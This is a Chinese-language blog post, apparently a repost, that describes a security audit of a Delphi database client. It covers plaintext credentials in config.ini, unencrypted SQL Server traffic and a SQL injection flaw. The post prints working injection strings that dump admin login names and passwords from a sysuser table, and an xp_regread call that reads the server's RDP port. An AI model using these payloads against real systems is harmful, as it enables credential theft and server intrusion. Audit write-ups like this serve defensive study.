delphi query 存储为dbf_Delphi 代码审计项目实战 1

3749a609b8c3bd7993daa5c87d340d9d.gif

程序的主要function,与 procedure注:Delphi把操作数据的方法分成了两种,一种是function,另一种是procedure,大致理解为“函数”和“过程”。Procedure类似C语言中的无返回值函数,即VOID。而Function就是c语言中的有返回值函数,即没有Void。

程序分为2种连接数据库模式:

ab129658cd26e74b15ce5241faaad9f0.png

程序分为2种连接数据库模式:

ccbadc1283bab1eae726addad4a920a7.png

无论是本地模式,还是联网模式,都是读取,当前路径的config.ini配置文件:(导致敏感信息暴漏,可直连服务器)

84347ec47b271b3d271da463a182489a.png

继续跟数据库连接:配合SQL Server数据库,直接带入,可以判断出为明文存储。

0096d9a534a70d37de9c8be032d4ad9a.png

config.ini配置如下:

51a5b1a29976d60d4048f659f6bbeb7b.png

基于TCP通信,SQL Server通信构架大致如下:

(可导致通信过程中抓取明文执行)

15f7211f39e3ca63c884d567ae18ac8a.png

代入执行:

(导致可拼接sql语句,查询任意语句或者执行命令)

c5504d2304b8392df2f4667fffae48e7.png

部分语句其中如下:

select distinct memberid,receivecompany from weigh where receivecompany is notnull  and receivecompany like  ''%'+xxxxxx+'%''

软件呈现如下:

659f3a194bbd692050ac016b53a4bff1.png

对应 收货单位编号,以及收货单位名称。

分别为:memberid,receivecompany闭合语句为:

2' ; select loginid as memberid  , password as receivecompany from sysuser --

8d562a7abf44fbc5bcc7095757886f0d.png

抓取返回如图:

得到admin 账号以及密码。构造读取远程桌面端口号:

b26314e6a46f79f1f674adc3f64bb900.png

构造读取远程桌面端口号:

得到远程服务器端口号

2';EXECmaster..xp_regread'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp','PortNumber' --

copy 获取缓冲区内容:

(导致可从服务器端构造代码)

eaa64c539f7b76e3a80345533882f6d1.png

copy 用法如下:

copy(a,b,c);

a:就是copy源,就是一个字符串,表示你将要从a里copy一些东西,b:从a中的第b位开始copy(包含第11位),

c:copy从第b位开始后的c个字符,

exp: m:=‘the test fuck'          

          s:=copy(m,2,2);      //s值为‘he’

当超出范围,会发生异常错误。实例中,从服务器数据库获取数据后进行copy。

软件登陆部分代码如下:

(导致可自动化跑 loginid。)

4cde74bb036111da2a92658fb22c4436.png

多次尝试错误处理如下:退出软件,并且重新开始计算。

0b1595e99804e68e304cd4bf54a80678.png

文章来源:https://micropoor.blogspot.com/

907d788f5d5143ab2e2ef5645ef5ce48.png

52ca1542a4dc1ab0087ceb1743bf4621.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值